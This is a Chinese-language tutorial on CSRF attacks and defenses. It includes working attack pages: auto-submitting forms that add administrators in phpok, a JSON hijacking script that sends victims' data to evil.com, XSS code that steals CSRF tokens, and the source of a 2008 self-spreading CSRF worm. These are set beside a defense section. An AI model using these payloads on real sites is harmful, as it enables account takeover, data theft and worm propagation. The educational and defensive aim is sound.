邪惡的CSRF
0x00 什麼是CSRF
CSRF全稱Cross Site Request Forgery,即跨站點請求偽造。我們知道,攻擊時常常伴隨著各種各樣的請求,而攻擊的發生也是由各種請求造成的。
從前面這個名字裡我們可以關注到兩個點:一個是“跨站點”,另一個是“偽造”。前者說明了CSRF攻擊發生時所伴隨的請求的來源,後者說明了該請求的產生方式。所謂偽造即該請求並不是使用者本身的意願,而是由攻擊者構造,由受害者被動發出的。
CSRF的攻擊過程大致如圖:
0x01 CSRF攻擊存在的道理
一種攻擊方式之所以能夠存在,必然是因為它能夠達到某種特定的目的。比如:透過程式中的緩衝區溢位漏洞,我們可以嘗試控制程式的流程,使其執行任意程式碼;透過網站上的SQL隱碼攻擊漏洞,我們可以讀取資料庫中的敏感資訊,進而獲取Webshell甚至獲取伺服器的控制權等等。而CSRF攻擊能夠達到的目的是使受害者發出由攻擊者偽造的請求,那麼這有什麼作用呢?
顯然,這種攻擊的威力和受害者的身份有著密切的聯絡。說到這兒我們可以思考一下,攻擊者之所以要偽造請求由受害者發出,不正是想利用受害者的身份去達到一些目的嗎?換句話說,受害者身上有達到這個目的所必需的條件,
而這些必需的條件在Web應用中便是各種各樣的認證資訊,攻擊者就是利用這些認證資訊來實現其各種各樣的目的。
下面我們先看幾個攻擊場景。
0x02 場景舉例
(1)場景一:
在一個bbs社群裡,使用者在發言的時候會發出一個這樣的GET請求:
#!html
GET /talk.php?msg=hello HTTP/1.1
Host: www.bbs.com
…
Cookie: PHPSESSID=ee2cb583e0b94bad4782ea
(空一行)
這是使用者發言內容為“hello”時發出的請求,當然,使用者在請求的同時帶上了該域下的cookie,於是攻擊者構造了下面的csrf.html頁面:
#!html
<html>
<img src=http://www.bbs.com/talk.php?msg=goodbye />
</html>
可以看到,攻擊者在自己的頁面中構造了一個發言的GET請求,然後把這個頁面放在自己的伺服器上,連結為http://www.evil.com/csrf.html
。之後攻擊者透過某種方式誘騙受害者訪問該連結,如果受害者此時處於登入狀態,就會帶上bbs.com域下含有自己認證資訊的cookie訪問http://www.bbs.com/talk.php?msg=goodbye
,結果就是受害者按照攻擊者的意願提交了一份內容為“goodbye”的發言。
有人說這有什麼大不了的,好,我們再看看另一個場景下的CSRF攻擊。
(2)場景二:
在一個CMS系統的後臺,發出下面的POST請求可以執行新增管理員的操作:
#!html
POST /manage.php?act=add HTTP/1.1
Host: www.cms.com
…
Cookie: PHPSESSID=ee2cb583e0b94bad4782ea;
is_admin=234mn9guqgpi3434f9r3msd8dkekwel
(空一行)
uname=test&pword=test
在這裡,攻擊者構造了的csrf2.html頁面如下:
#!html
<html>
<form action="/manage.php?act=add" method="post">
<input type="text" name="uname" value="evil" />
<input type="password" name="pword" value="123456" />
</form>
<script>
document.forms[0].submit();
</script>
</html>
該頁面的連結為http://www.evil.com/csrf2.html
,攻擊者誘騙已經登入後臺的網站管理員訪問該連結(比如透過給管理員留言等方式)會發生什麼呢?當然是網站管理員根據攻擊者偽造的請求新增了一個使用者名稱為evil的管理員使用者。
透過這些場景我們可以看到,CSRF攻擊會根據場景的不同而危害迥異。小到誘使使用者留言,大到垂直越權進行操作。這些攻擊的請求都是跨域發出,並且至關重要的一點,都是在受害者的身份得到認證以後發生的。另外,我們在第一個場景中攻擊時並沒有使用JavaScrpit,這說明CSRF攻擊並不依賴於JavaScript。
0x03 CSRF攻擊方式
(1)HTML CSRF攻擊:
即利用HTML元素髮出GET請求(帶src屬性的HTML標籤都可以跨域發起GET請求),如:
#!html
<link href="…">
<img src="…">
<iframe src="…">
<meta http-equiv="refresh" content="0; url=…">
<script src="…">
<video src="…">
<audio src="…">
<a href="…">
<table background="…">
…
若要構造POST請求,則必須用表單提交的方式。另外,這些標籤也可以用JavaScript動態生成,如:
#!html
<script>
new Image().src = 'http://www.goal.com/…';
</script>
(2)JSON HiJacking攻擊:
為了瞭解這種攻擊方式,我們先看一下Web開發中一種常用的跨域獲取資料的方式:JSONP。
先說一下JSON吧,JSON是一種資料格式,主要由字典(鍵值對)和列表兩種存在形式,並且這兩種形式也可以互相巢狀,非常多的應用於資料傳輸的過程中。由於JSON的可讀性強,並且很適合JavaScript這樣的語言處理,已經取代XML格式成為主流。
JSONP(JSON with Padding)是一個非官方的協議,是Web前端的JavaScript跨域獲取資料的一種方式。我們知道,JavaScript在讀寫資料時受到同源策略的限制,不可以讀寫其他域的資料,於是大家想出了這樣一種辦法:
前端html程式碼:
#!html
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
<script type="text/javascript">
function jsonpCallback(result) {
alert(result.a);
alert(result.b);
alert(result.c);
for(var i in result) {
alert(i+":"+result[i]);//迴圈輸出a:1,b:2,etc.
}
}
</script>
<script type="text/javascript" src="http://crossdomain.com/services.php?callback=jsonpCallback"></script>
後端的php程式碼:
#!php
<?php
//服務端返回JSON資料
$arr=array('a'=>1,'b'=>2,'c'=>3,'d'=>4,'e'=>5);
$result=json_encode($arr);
//echo $_GET['callback'].'("Hello,World!")';
//echo $_GET['callback']."($result)";
//動態執行回撥函式
$callback=$_GET['callback'];
echo $callback."($result)";
?>
可以看到,前端先是定義了jsonpCallback函式來處理後端返回的JSON資料,然後利用script標籤的src屬性跨域獲取資料(前面說到帶src屬性的html標籤都可以跨域),並且把剛才定義的回撥函式的名稱傳遞給了後端,於是後端構造出“jsonpCallback({“a”:1, “b”:2, “c”:3, “d”:4, “e”:5})”的函式呼叫過程返回到前端執行,達到了跨域獲取資料的目的。
一句話描述JSONP:前端定義函式卻在後端完成呼叫然後回到前端執行!
明白了JSONP的呼叫過程之後,我們可以想象這樣的場景:
當使用者透過身份認證之後,前端會透過JSONP的方式從服務端獲取該使用者的隱私資料,然後在前端進行一些處理,如個性化顯示等等。這個JSONP的呼叫介面如果沒有做相應的防護,就容易受到JSON HiJacking的攻擊。
就以上面講JSONP的情景為例,攻擊者可以構造以下html頁面:
#!html
<html>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
<script type="text/javascript">
function hijack(result) {
var data = '';
for(var i in result) {
data += i + ':' + result[i];
}
new Image().src = "http://www.evil.com/JSONHiJacking.php?data=" + escape(data);//把資料傳送到攻擊者伺服器上
}
</script>
<script type="text/javascript" src="http://crossdomain.com/services.php?callback=hijack"></script>
</html>
可以看到,攻擊者在頁面中構造了自己的回撥函式,把獲取的資料都傳送到了自己的伺服器上。如果受害者在已經經過身份認證的情況下訪問了攻擊者構造的頁面,其隱私將暴露無疑。
我們用以下幾張圖來總結一下JSON HiJacking的攻擊過程:
(圖片來源:http://haacked.com/archive/2009/06/25/json-hijacking.aspx/)
0x04 CSRF的危害
前面說了CSRF的基本概念,列舉了幾個CSRF的攻擊場景,講述了幾種CSRF的攻擊方法,現在我們來簡單總結一下CSRF攻擊可能造成的危害。
CSRF能做的事情大概如下:
1)篡改目標網站上的使用者資料;
2)盜取使用者隱私資料;
3)作為其他攻擊向量的輔助攻擊手法;
4)傳播CSRF蠕蟲。
其中前兩點我們在之前的例子中已經做了比較詳細的說明,不再贅述。第三點即將其他攻擊方法與CSRF進行結合進行攻擊,接下來我們以實際的漏洞例項來說明CSRF的第三個危害。
另外,CSRF蠕蟲就是利用之前講述的各種攻擊方法,並且在攻擊程式碼裡新增了形成蠕蟲傳播條件的攻擊向量,這一點會在本文的最後介紹。
0x05 基於CSRF攻擊例項
我們來看一下phpok的兩個CSRF漏洞如何進行最大化的利用。這兩個漏洞均來自烏雲:
(1)版本4.2.100:
在phpok該版本的後臺提交如下POST請求可以新增管理員:
#!html
POST /phpok/admin.php?c=admin&f=save HTTP/1.1
Host: www.goal.com
…
Cookie: …
(空一行)
id=…&accont=…&pass=…&status=…&if_system=…
攻擊者可以構造如下頁面:
#!html
<html>
<div style="display:none">
<form action="http://localhost/phpok/admin.php?c=admin&f=save" id="poc" name="poc" method="post">
<input type="hidden" name="id" value=""/>
<input type="hidden" name="account" value=""/>
<input type="hidden" name="pass" value=""/>
<input type="hidden" name="email" value=""/>
<input type="hidden" name="status" value=""/>
<input type="hidden" name="if_system" value=""/>
<input type="submit" name="up" value="submit"/>
</form>
<script>
var t = document.poc;
t.account.value="wooyun";
t.pass.value="123456";
t.status.value="1";
t.if_system.value="1";
document.poc.submit();
</script>
</div>
</html>
攻擊發生之前,如圖:
管理員在登入的情況下訪問攻擊者的頁面之後,如圖:
可以看到,成功新增了一名管理員。
攻擊到這裡就結束了嗎?並沒有!攻擊者利用CSRF漏洞成功進入了後臺,他還要想辦法GetShell!
在後颱風格管理-建立模板檔案的地方新增一個模板,透過抓包改包的方式繞過前端對檔案型別的判斷,如圖:
把GET /phpok/admin.php?c=tpl&f=create&id=1&folder=/&type=file&title=wooyun.html
改為GET /phpok/admin.php?c=tpl&f=create&id=1&folder=/&type=file&title=wooyun.php
可以看到成功新增了.php檔案:
然後在編輯檔案內容為一句話木馬即可:
在此次攻擊中,攻擊者最後利用後臺新增模板處的限制不嚴格拿到了Webshell,但在此之前使攻擊者得以進入後臺的卻是CSRF漏洞,由此可以看到CSRF在這次攻擊中的重要性。
(2)還是4.2.100...
剛才我們是透過CSRF先進入後臺,然後利用後臺的其他漏洞GetShell,這次我們直接在前臺利用CSRF漏洞去GetShell怎麼樣?
phpok的前臺可以上傳.zip檔案,我們把木馬檔案test.php壓縮為test.zip;
註冊一個賬號,進入修改資料頁面;
選擇一個正常的圖片,截獲資料,如圖:
然後修改資料,如圖:
成功上傳.zip檔案,記錄下檔案id號,這裡是739。
在後臺的程式升級-ZIP離線包升級中的升級操作存在CSRF漏洞,演示如圖:
於是攻擊者可以構造如下頁面:
#!html
<html>
<form action="http://localhost//phpok/admin.php?c=update&f=unzip" id="poc" name="poc" method="post">
<input type="hidden" name="zipfile" value=""/>
<input type="hidden" name="file" value=""/>
<input type="submit" name="up" value="submit"/>
</form>
<script>
var t = document.poc;
t.zipfile.value="739";
t.file.value="739";
document.poc.submit();
</script>
</html>
管理員登入後臺後訪問攻擊者的頁面,如圖:
可以看到我們的木馬檔案已經上傳到伺服器上了。
這次攻擊,我們根本沒有進入後臺,而是利用一個CSRF漏洞直接就拿到了Webshell,由此可以看出CSRF在某些場景下的威力之大,根本不亞於SQL隱碼攻擊和檔案上傳這樣的漏洞。
0x05 CSRF的防禦
前面我們瞭解了這麼多有關CSRF攻擊的東西,目的是為了明白如何防禦CSRF攻擊(真的是這樣嗎?...)。
要防禦CSRF攻擊,我們就要牢牢抓住CSRF攻擊的幾個特點。
首先是“跨域”,我們發現CSRF攻擊的請求都是跨域的,針對這一特點,我們可以在服務端對HTTP請求頭部的Referer欄位進行檢查。一般情況下,使用者提交的都是站內的請求,其Referer中的來源地址應該是站內的地址。至關重要的一點是,前端的JavaScript無法修改Referer欄位,這也是這種防禦方法成立的條件。
不過需要說明的是,有的時候請求並不需要跨域,比如我們後面講到的結合XSS進行攻擊的時候,有的時候甚至沒有Referer欄位…,這些也是使用這種防禦方法的弊病所在。
第二點是“偽造”,這也是CSRF攻擊的核心點,即偽造的請求。我們來想一下,攻擊者為什麼能夠偽造請求呢?換句話說,攻擊者能夠偽造請求的條件是什麼呢?縱觀之前我們偽造的所有請求,無一例外,請求中所有引數的值都是我們可以預測的,如果出現了攻擊者無法預測的引數值,那麼將無法偽造請求,CSRF攻擊也不會發生。基於這一點,我們有了如下兩種防禦方法:
新增驗證碼;
使用一次性token。
先看看第一種。驗證碼的核心作用是區分人和機器,而CSRF攻擊中的請求是在受害者上當的情況下由瀏覽器自動發出的,屬於機器發出的請求,攻擊者無法預知驗證碼的值,所以使用驗證碼可以很好地防禦CSRF攻擊,但毫無疑問,驗證碼會一定程度地影響使用者體驗,所以我們要在安全和使用者體驗之間找到一個平衡點。
再看看第二種方法。所謂token是一段字母數字隨機值,我們可以把它理解為一個服務端幫我們填好的驗證碼!每當我們訪問該頁面時,服務端會根據時間戳、使用者ID、隨機串等因子生成一個隨機的token值並傳回到前端的表單中,當我們提交表單時,token會作為一個引數提交到服務端進行驗證。在這個請求過程中,token的值也是攻擊者無法預知的,而且由於同源策略的限制,攻擊者也無法使用JavaScript獲取其他域的token值,所以這種方法可以成功防禦CSRF攻擊,也是現在用的最多的防禦方式。
但是,需要注意的一點是,token的生成一定要隨機,即不能被攻擊者預測到,否則這種防禦將形同虛設。另外,token如果作為GET請求的引數在url中顯示的話,很容易在Referer中洩露。還有更重要的一點:如果在同域下存在XSS漏洞,那麼基於token的CSRF防禦將很容易被擊破,我們後面再說。
除了“跨域”和“偽造”兩點,我們還可以注意到CSRF在攻擊時間上的特點:CSRF攻擊都是在受害者已經完成身份認證之後發生的,這是由CSRF攻擊的目的所決定的。基於這一點,我們還可以想出一些緩解CSRF攻擊的方法(注意是緩解),比如縮短Session的有效時間等等,可能一定程度上會降低CSRF攻擊的成功率。
總結一下上面的防禦方法如下:
驗證Referer;
使用驗證碼;
使用CSRF token;
限制Session生命週期。
其中第四種屬於緩解類方法,就不多說了。我們看一下其他三種方法都分別存在什麼弊病。
Referer最大弊病:有些請求不帶Referer;
驗證碼最大弊病:影響使用者體驗;
CSRF token最大弊病:隨機性不夠好或透過各種方式洩露,此外,在大型的服務中需要一臺token生成及校驗的專用伺服器,需要更改所有表單新增的欄位,有時效性的問題。
那麼有沒有其它的辦法能夠有效地防禦CSRF攻擊呢?xeye團隊的monyer提出了下面這樣的方法:
原理與token差不多:當表單提交時,用JavaScript在本域新增一個臨時的Cookie欄位,並將過期時間設為1秒之後在提交,服務端校驗有這個欄位即放行,沒有則認為是CSRF攻擊。
前面提到,token之所以可以防禦CSRF,是因為攻擊者無法使用JavaScript獲取外域頁面中的token值,必須要遵守同源策略;而臨時Cookie的原理是:Cookie只能在父域和子域之間設定,也遵守同源策略,攻擊者無法設定該Cookie。
下面看一個簡單的demo,前端http://127.0.0.1:8888/test.html
:
#!html
<html>
<script>
function doit() {
var expires = new Date((new Date()).getTime()+1000);
document.cookie = "xeye=xeye; expires=" + expires.toGMTString();
}
</script>
<form action="http://127.0.0.1:8888/test.php" name="f" id="f" onsubmit="doit();" target="if1">
<input type="button" value="normal submit" onclick="f.submit();">
<input type="button" value="with token" onclick="doit();f.submit();">
<input type="submit" value="hook submit">
</form>
<iframe src="about:blank" name="if1" id="if1"></iframe>
</html>
服務端http://127.0.0.1:8888/test.php
:
#!php
<?php
echo "<div>Cookies</div>";
var_dump($_COOKIE);
?>
前端test.html頁面中有三個按鈕:第一個是正常的表單提交;第二個是新增臨時Cookie後提交表單;第三個是以hook submit事件來新增臨時Cookie並提交。
我們來演示一下效果,test.html頁面如圖:
normal submit之後:
看到只有xampp設定的一個Cookie,試一下with token按鈕:
看到我們提交的Cookie中多出了一個名為“xeye”的Cookie,再試一下hook submit:
效果和第二個相同。
透過上面的演示,我們可以看到設定臨時Cookie的效果。
不過這種方式只適用於單域名的站點,或者安全需求不需要“當子域發生XSS隔離父域”。因為子域是可以操作父域的Cookie的(透過設定當前域為父域的方式),所以這種方法的缺點也比較明顯:這種方法無法防禦由於其他子域產生的XSS所進行的表單偽造提交(注意:使用token可能也會有這樣的問題,馬上說到)。但如果對於單域站點而言,這種防禦方法的安全性可能會略大於token。
對於這種防禦方式的幾個小疑問:
網路不流暢,有延遲會不會導致Cookie失效?這個顯然是不會的,因為服務端Cookie是在提交請求的header中獲得的。延時在服務端,不在客戶端,而1秒鐘足可以完成整個表單提交過程。
Cookie的生成依賴於JavaScript,相當於這個token是明文的?這是肯定的,不管採用多少種加密,只要在客戶端,就會被破解,不過不管怎樣,CSRF無法在有使用者狀態的情況下新增這個臨時Cookie欄位(同源策略)。雖然透過服務端可以,但是無法將當前使用者的狀態也帶過去(即攻擊者嘗試在自己的中轉伺服器上新增臨時Cookie,但是這種做法背離CSRF攻擊的目的了,因為受害者的Cookie(認證資訊)不會發到攻擊者的中轉伺服器上啊…順便說一句,Referer也是同樣的道理)。
如果由於某種網路問題無法獲取Cookie呢?那麼儲存使用者狀態的Cookie當然也無法獲取了,使用者只能再重新提交表單才可以,這就與CSRF無關了。
由於這種防禦策略還沒有被大規模使用,所以無法確定其是否真實有效。不過如果有效的話,這大概是一種最簡單的、對程式碼改動最小,且對伺服器壓力也最小的防禦CSRF的方法。
在攻擊方法中我們詳細講解了JSON HiJacking,那麼針對這種特定的CSRF攻擊方法,我們有沒有什麼特定的防禦方法呢?
當然有了,這裡介紹兩種:
1)在返回的指令碼開始部分加入“while(1);”:
當攻擊者透過JSON HiJacking的方式獲取到返回的JSON資料時,其攻擊程式碼會陷入死迴圈中,無法將敏感資訊傳送到自己的伺服器上,這樣就防止了資訊洩露;而正常的客戶端程式碼可以正確地處理返回的JSON資料,它可以先將“while(1);”去掉再正常處理。
這樣做相比較與其他方式CSRF的方法有一個突出的好處,即不依賴瀏覽器的邊界安全策略,而是在程式碼級別引入保護機制。
Google的部分服務就採取了這種防禦方法,具體內容可以參考下面的連結:
http://stackoverflow.com/questions/2669690/why-does-google-prepend-while1-to-their-json-responses
2) 使用POST表單提交的方式獲取JSON資料:
當前端可以使用XMLHttpRequest獲取JSON資料時,當然也可以使用POST表單的方式完成這項任務,這樣的話攻擊者就無法使用script標籤來獲取JSON資料(因為src屬性發出的是GET請求)。
縱觀這些CSRF的防禦方法,無一不是針對CSRF攻擊成立的條件進行破壞,這也是“未知攻,焉知防”道理的體現。我們在對自己的網站進行防禦的時候,要根據自己的業務場景,選擇一個最合適的防禦方案。
0x06 結合XSS的CSRF攻擊
前面我們說到了基於CSRF的攻擊,講的是在一整套攻擊中使用CSRF來達到最終目的或某個中間目的。而這裡我們要說的是:如何利用CSRF的“黃金搭檔”——XSS來輔助我們完成一次CSRF攻擊。
為什麼說XSS是CSRF的“黃金搭檔”呢?因為當XSS存在時,我們往往可以利用它來突破目標站點對CSRF攻擊的防護;還有一些情況,比如我們可以找到一些“SELF-XSS”,即只能跨自己,那麼如果可以CSRF的話,就不僅僅能跨自己了。我們標題裡說的“結合”就是指這兩種方式。
下面我們舉例說明:
1) 利用XSS竊取token之後發起CSRF攻擊
以前面0x05中的第一個例子為例,我們的目標是進入後臺。
加入新增管理員的POST請求如下(加入了token):
#!html
POST /phpok/admin.php?c=admin&f=save HTTP/1.1
Host: www.goal.com
…
Cookie: …
(空一行)
id=…&accont=…&pass=…&status=…&if_system=…&accont=…&token=…
那麼我們就不能直接構造出攻擊頁面了,因為token的值我們無法預測,一般情況下我們也無法得到token的值,但我們假設,在給管理員留言的地方存在XSS漏洞,但是管理員的Cookie加了HttpOnly屬性,我們無法透過XSS直接獲取管理員的Cookie,那該怎麼辦呢?我們可以把這兩個漏洞結合起來利用。
我們可以利用XSS在管理員的瀏覽器中執行下面的JavaScript程式碼:
#!html
<script>
var frameObj = document.createElement("iframe");
frameObj.setAttribute("id", "add");
document.body.appendChild(frameObj);
document.getElementById("add").src = "admin.php?c=admin&f=save";
var token = document.getElementById("add").contentWindow.document.getElementById("token").value; //從iframe中的頁面中獲取token值
var xmlhttp;
if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp = new XMLHttpRequest();
} else { // code for IE6, IE5
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.open("POST", "admin.php?c=admin&f=save", true);
xmlhttp.send("id = & accont = wooyun&pass=123456&status=1&if_system=1&token=" + token); //帶上token提交新增管理員的請求
</script>
程式碼很好理解,首先我們透過iframe的方式嵌入含有token的頁面,因為同域,所以我們可以對頁面中的DOM進行讀寫操作,所以順利取得token;然後我們利用AJAX的方式帶上token提交新增管理員的請求,我們依靠XSS成功突破了頁面對CSRF攻擊的防護。
2) 結合CSRF發起XSS攻擊
(例項來源:百度某站可結合CSRF及XSS劫持賬號)
在百度詞典-我的詞典處,有將生詞新增進生詞本的功能,在備註的時候沒有進行過濾,可以直接插入JavaScript程式碼。
但這顯然是一個“SELF-XSS”,只能跨自己,有什麼用呢?
再看看,頁面似乎沒有對CSRF做防護,那麼我們是不是可以利用CSRF來觸發這個XSS,讓別人跨自己呢?
構造POST請求頁面如下:
#!html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body>
<form id="baidu" name="baidu" action="http://dict.baidu.com/wordlist.php" method="POST">
<input type="text" name="req" value="add" />
<input type="text" name="word" value="Wooyun" />
<input type="text" name="explain" value="<script src=http://xsserme></script>" />
<input type="submit" value="submit" />
</form>
<script>
document.baidu.submit();
</script>
</body>
</html>
誘惑受害者訪問該頁面,效果如圖:
看看生詞本:
已經成功新增了一個新單詞“Wooyun”,到我們的XSS平臺上看看備註中的JavaScript程式碼有沒有執行:
程式碼成功執行!
由此可以看到,如果能夠將XSS攻擊和CSRF攻擊結合起來,會產生1+1>2的效果。
0x07 CSRF蠕蟲
說說蠕蟲。
蠕蟲有兩大特徵:
1) 傳播性;
2) 惡意行為。
蠕蟲的惡意行為是由其傳播性引起的,也就是說,凡是傳播可以做的事,蠕蟲基本上都可以做,而且還可以做些和特定蠕蟲有關的事,比如我們要說的CSRF蠕蟲就可以大批次地獲取使用者的隱私資訊(CSRF的危害之一嘛)。
所以,我們主要研究CSRF蠕蟲的傳播性。
CSRF蠕蟲的傳播性如何實現呢?在前面我們提到過,CSRF蠕蟲就是在CSRF的攻擊頁面中加入了蠕蟲傳播的攻擊向量。這聽上去感覺很容易,但實施起來恐怕還要多考慮一些東西。
仔細想想,在一個SNS網站上傳播CSRF蠕蟲有一個不得不考慮的問題:蠕蟲面對的是不同的使用者,而不僅僅是某一個受害者。那對於不同的使用者,其對應的請求(CSRF核心:偽造的請求嘛)會不會有些地方不一樣呢?
沒錯,在之前的CSRF攻擊中,我們的攻擊目標是某一個特定的個體。當我們可以預測其請求的所有引數之後,我們就可以發起攻擊。但是在SNS網站上傳播CSRF蠕蟲就不是這麼簡單。即使每個使用者的所有請求引數都可以預測,但是對於不同的使用者,其對應的請求引數是不一樣的,我們無法像前面的攻擊那樣構造攻擊頁面,必須想辦法獲取這些標識不同使用者的資料。
方法一:利用服務端指令碼獲取
在這裡,我們構造的攻擊頁面不是一個簡單的.html檔案了,而是一個服務端指令碼,如php、asp等等。
受害者的標識資訊,如使用者id等,經常出現在url中,這樣我們就可以利用服務端指令碼來獲取請求的Referer中的使用者id,以此為基礎構造出html+js的攻擊頁面,在攻擊向量中新增我們服務端指令碼的連結,以此造成蠕蟲傳播的效果。
方法二:利用JSON HiJacking技術獲取
JSON HiJacking的攻擊方法前面已經講得很詳細了,如果網站上提供了這樣的獲取資料的介面,那麼利用這種技術獲取使用者的隱私資訊是一個不錯的方法。
綜上所述,如果一個SNS網站上存在CSRF漏洞,並且我們有辦法獲取到使用者的標識資訊,那麼就滿足了CSRF蠕蟲傳播的條件,這個網站就是可蠕蟲的。
下面看一個CSRF蠕蟲例項:
這是2008年發起的一次針對譯言網(www.yeeyan.org
)的CSRF蠕蟲攻擊,攻擊者的連結為http://www.evilsite.com/yeeyan.asp
,服務端指令碼yeeyan.asp內容如下:
<%
'auther: Xlaile
'data: 2008-09-21
'this is the CSRF Worm of www.yeeyan.com
r = Request.ServerVariables("HTTP_REFERER")
'獲取使用者的來源地址,如:http://www.yeeyan.com/space/show/hving
If InStr(r, "http://www.yeeyan.com/space/show") > 0 Then
'referer判斷,因為攻擊物件為yeeyan個人空間留言板,就是這樣的地址
Function regx(patrn, str)
Dim regEx
Dim Match
Dim Matches
Set regEx = New RegExp
regEx.Pattern = patrn
regEx.IgnoreCace = True
regEx.Global = True
Set Matches = regEx.Execute(str)
For Each Match in Matches
RetStr = RetStr & Match.Value & " | "
Next
regx = RetStr
End Function
Function bytes2BSTR(vIn)
Dim strReturn
Dim i1
Dim ThisCharCode
Dim NextCharCode
strReturn = ""
For i1 = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i1,1))
If ThisCharCode < & H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i1 + 1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * & H100 + CInt(NextCharCode))
i1 = i1 + 1
End If
Next
bytes2BSTR = strReturn
End
id = Mid(r,34) '獲取使用者標識ID,如:hving
furl = "http://www.yeeyan.com/space/friends/" + id '使用者好友列表連結是這樣的
Set http = Server.CreateObject("Microsoft.XMLHTTP") '使用這個控制元件
http.Open "GET",furl,False '同步,GET請求furl連結
http.Send '傳送請求
ftext = http.ResponseText '返回請求結果,為furl連結對應的HTML內容
fstr = regx("show/(\d+)?"">[^1-9a-zA-Z]+<img",ftext)
'正則獲取被攻擊使用者的所有好友的ID值,CSRF留言時需要這個值
farray = Split(fstr , " | ")
'下面幾句就是對獲取到的ID值進行簡單處理,然後扔進f(999)陣列中
Dim f(999)
For i = 0 To UBound(farry) - 1
f(i) = Mid(farray(i),6,Len(farray(i)) - 16)
Next
Set http = Nothing
s = ""
For i = 0 To UBound(farray) - 1
s = s + "<iframe width=0 height=0 src='yeeyan_iframe.asp?id=" & f(i) & "'></iframe>" '接著迴圈遍歷好友列表,使用iframe發起CSRF攻擊
Next
Response.Write(s)
' Set http=Server.CreateObject("Microsoft.XMLHTTP")
' http.open "POST","http://www.yeeyan.com/groups/newTopic/",False
' c = "hello"
cc = "data[Post][content]=" & c & "&" & "ymsgee=" & f(0) & "&" & "ymsgee_username=" & f(0)
' http.send cc
End If
%>
其中yeeyan_iframe.asp程式碼如下:
<%
'author: Xlaile
'date: 2008-09-21
'this is the CSRF Worm of www.yeeyan.com
'id = Request("id")
s = "<form method='post' action='http://www.yeeyan.com/groups/newTopic/' onsubmit='return false'>"
s = s+"<input type='hidden' value='The delicious Tools for yeeyan translation:http://127.0.0.1/yeeyan.asp' name='data[Post][content]'/>
s = s+"<input type='hidden' value=" + id + " name='ymsgee'/>"
s = s+"<input type='hidden' value=" + id + " name='ymsgee_username'/>
s = s+"</form>"
s = s+"<script>document.forms[0].submit();</script>"
Response.write(s)
%>
這段程式碼只具備傳播性,屬於沒有惡意的實驗程式碼。從yeeyan.asp的程式碼中我們可以看到,攻擊者就是依靠Referer欄位得到了譯言使用者的id值。而yeeyan_iframe.asp是構造表單的程式碼,用來具體發起CSRF攻擊。當使用者登入譯言網,並且點選攻擊者的連結後,這個CSRF蠕蟲就會開始傳播。
0x08 還有什麼東西?
寫到這裡,我所瞭解的有關CSRF攻擊與防禦的內容就差不多寫完了。在寫前面內容的時候,我一直在有意迴避一個東西,那就是在現在的Web前端仍然佔有重要地位的Flash,以及ActionScript指令碼。
這裡就簡單補充一下,這些東西和CSRF攻擊有什麼聯絡。
首先,我們必須先介紹一個檔案——crossdomain.xml,次檔案通常在網站的根目錄下存在,比如http://www.qq.com
網站上的crossdomain.xml檔案內容如下:
https://www.baidu.com
網站上的crossdomain.xml檔案內容如下:
該配置檔案中的“allow-access-from domain”用來配置哪些域的Flash請求可以訪問本域的資源。如果該項值為“*”,則表示任何與的Flash都可以訪問,這是非常危險的。當存在這樣的配置時,攻擊者可以利用ActionScript指令碼輕鬆突破同源策略的限制,如下:
#!html
import flash.net. *
//請求隱私資料所在頁面
var loader = new URLLoader(new URLRequest(http: //www.foo.com/private);
loader.addEventListener(Event.COMPLETE, function() { //當請求完成後
loader.data; //獲取到隱私資料
//更多操作
});
Loader.load(); //發起請求
當透過身份認證的受害者被誘惑訪問含有以上指令碼的頁面時,其隱私將可能被攻擊者盜走。
除此之外,這種跨域獲取資訊的方法還可以應用在CSRF蠕蟲之中,同樣是在2008年,飯否(www.fanfou.com
)就被基於Flash的CSRF蠕蟲攻擊,當時包含飯否CSRF蠕蟲的Flash遊戲介面如下:
0x09 結束
由於水平有限,本文寫到這裡就差不多結束了,裡面是我對CSRF幾乎所有的認知,包括基本概念、攻擊原理、攻擊目的、攻擊手段以及防禦方法等等。需要特別說明的是,文中有許多內容來自《Web前端駭客技術解密》這本書。
相關文章
- 邪惡的程式設計咒語2018-03-12程式設計
- 生活如此多嬌,我卻如此邪惡!2020-06-10
- 《邪惡冥刻》的魔力今日蔓延至NS平臺!2022-12-02
- 《邪惡冥刻》:對元遊戲(meta Game)的重新理解2021-11-19遊戲GAM
- 功能分支是邪惡的:從SVN遷移到Git經驗2021-07-16Git
- “萬能鑰匙”漏洞使AI變得邪惡2024-07-02AI
- 《邪惡冥刻》:製作人把大家都騙了!2021-10-26
- Android 中的特殊攻擊面(一)——邪惡的對話方塊2020-09-07Android
- 解讀 App Store 稽核黑箱政策 —— 遠沒有你想象的那麼邪惡2018-11-27APP
- 邪惡的三位一體:機器學習、黑暗網路和網路犯罪2018-05-17機器學習
- 當心SAFe(企業級擴充套件敏捷框架)變成黑暗的邪惡化身 - Sean Dexter2020-01-09套件敏捷框架
- 瓦解邪惡“熊心豹膽”,360安全大腦獨家披露“老豹”放毒之路2020-05-29
- 《Narita Boy》GI 評測 7.75 分:消滅邪惡程式碼,拯救數字王國2021-04-12
- csrf2024-03-26
- IGF獨遊大獎《邪惡冥刻》遊戲拆解,卡牌+Metagame 如何打破第四面牆2022-03-25遊戲GAM
- 簡單的csrf漏洞2024-06-25
- CSRF(原理)2024-05-12
- Flash CSRF2020-08-19
- xss csrf2019-01-13
- 對CSRF的簡單理解2020-11-30
- CSRF 攻擊2024-10-05
- csrf問題2024-09-28
- CSRF攻擊2024-05-17
- CSRF_TOKEN2019-07-28
- XSS和CSRF2019-05-06
- csrf實驗2019-02-16
- 前端安全 - CSRF2019-01-06前端
- 什麼是CSRF跨站請求偽造?(from表單效驗csrf-ajdax效驗csrf-Ajax設定csrf-CBV裝飾器驗證csrf)2022-03-20
- 器無正邪之分,觀其人行2019-11-08
- 什麼是CSRF攻擊?如何防禦CSRF攻擊?2023-02-17
- csrf漏洞淺談2020-11-13
- flask中的csrf防禦機制2018-07-17Flask
- CSRF 與SSRF基礎2024-03-28
- csrf攻擊例項2019-04-02
